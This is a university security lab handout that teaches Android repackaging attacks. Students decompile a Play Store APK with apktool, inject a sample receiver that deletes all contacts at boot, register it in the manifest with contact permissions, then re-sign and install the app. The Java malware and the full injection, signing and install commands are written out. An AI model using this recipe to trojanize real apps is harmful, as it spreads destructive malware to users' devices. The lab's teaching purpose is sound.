Android Repackaging Attack Lab

1. Lab Overview

The learning objective of this lab is for student to understand the risks associated with lack of binary protection in android application and expose the repackaging android malware attack by using reverse engineering technique. This lab activity provides practice of injecting malicious code into any Android app from Google Play store. Students will eventually understand the risk of downloading Android application apart from Google Play Store will lead to the dangerous situation as injected malicious code can do anything to android device.

2. Lab Tasks

2.1 Obtain Android App (apk file)

You can use https://apkpure.com/ in order to get desired APK file. Enter the web URL of any app listed on the Google Play store and hit Search button. It will give you the page from where you get APK file. But as of now just download sample application available on lab description page (piazza).

2.2 Decompile Android App

Decode the android app using APKTool. It generates a folder with a name that is the same as the name of the APK file. The folder contains xml resource files, AndroidManifest file, source code files, etc. The xml resources and AndroidManifest files should be readable and usually very close to their original forms. The app source code files are disassembled to smali code. Decompilation is achieve by following command :

```
$ apktool d [appname].apk
```

2.3 Sample Malicious Code

We have written Malicious Code in separate android application which listens for the BOOT_COMPLETED event and will be invoked by the android system on completion of boot process to delete all contacts on the device.

```
public class MaliciousCode extends BroadcastReceiver {
 @Override
 public void onReceive(Context context, Intent intent) {
  ContentResolver contentResolver = context.getContentResolver();
  Cursor cursor =contentResolver.query(
                ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
  while (cursor.moveToNext()) {
   String lookupKey = cursor.getString
                   (cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));

   Uri uri = Uri.withAppendedPath
             (ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
   contentResolver.delete(uri, null, null);
  }
 }
}
```

You are not required to write your own malicious code in this lab activity, you can just simple use our sample malicious code but if some students want to use their own malicious code then the steps are straightforward. You can create new android project and write your own Java code that does some malicious task. Once you are done, get APK file from that android project and decompile it using apktool (step 2.2). After decompilation your java code will be converted to smali code. So get your malicious smali code and do the following.

2.4 Inject Malicious Code

You are going to inject malicious code at smali level. Just download sample malicious code and place it in "smali/com" package of target application as demonstrated in class, as it doesn't have any interaction with the application code. You also need to modify AndroidManifest.xml file accordingly to register BroadcastReceiver and set additional permissions as follows :

```
Set Permissions after <manifest> tag & register BroadcastReceiver in
<application> tag :

<manifest...>

     ...
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
     ....

    <application>
        .....
        .....
        <receiver android:name="com.MaliciousCode" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>
```

2.5 Repack Application with Malicious Code

Repackaging an Android Application is two step process.

Rebuild APK

Repack modified application using APKTool. The modified APK file will be saved in "**dist**" directory by default. Repackaging is achieve by following command :

```
$ apktool b [application_folder]
```

Sign the APK

Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate's private key.

1) Generate private key using keytool by following command :

```
$ keytool -alias sign -genkey -v -keystore my-release-key.keystore -keyalg
RSA -keysize 2048 -validity 10000
```

It will prompt you for passwords for the keystore and key, and to provide the Distinguished Name fields for your key. It then generates the keystore as a file called my-release-key.keystore. The keystore contains a single key, valid for 10000 days. The alias is a name that you will use later when signing your app.

2) We have the key to sign the app. We can now use jarsigner to sign the app using the key generated in the previous step. We can do it by following command.

```
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-
release-key.keystore my_appllication_name.apk alias_name
```

Jarsigner prompts the user to enter the password for the keystore and key. Once after entering the password, the APK file will be signed and is ready to be distributed.

2.6 Install and Reboot

Connect Android VM using adb by using following command, you can find IP address of android VM by going to into SettingsApp −>About −> Status.

```
$ adb connect <ip_address_of_android_vm>
```

Install modified malicious apk file to Android VM by using following command :

```
$ adb install <application_name>.apk
```

Now add couple of contacts in Contacts application. Now turn off Android VM & start again.

You will see that the app is still there but our malicious code has done its job and you have lost all of your contacts !

3. Submission

You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets(if needed). You also need to provide explanation to the observations that are interesting or surprising. You are encouraged to pursue further investigation, beyond what is required by the lab description.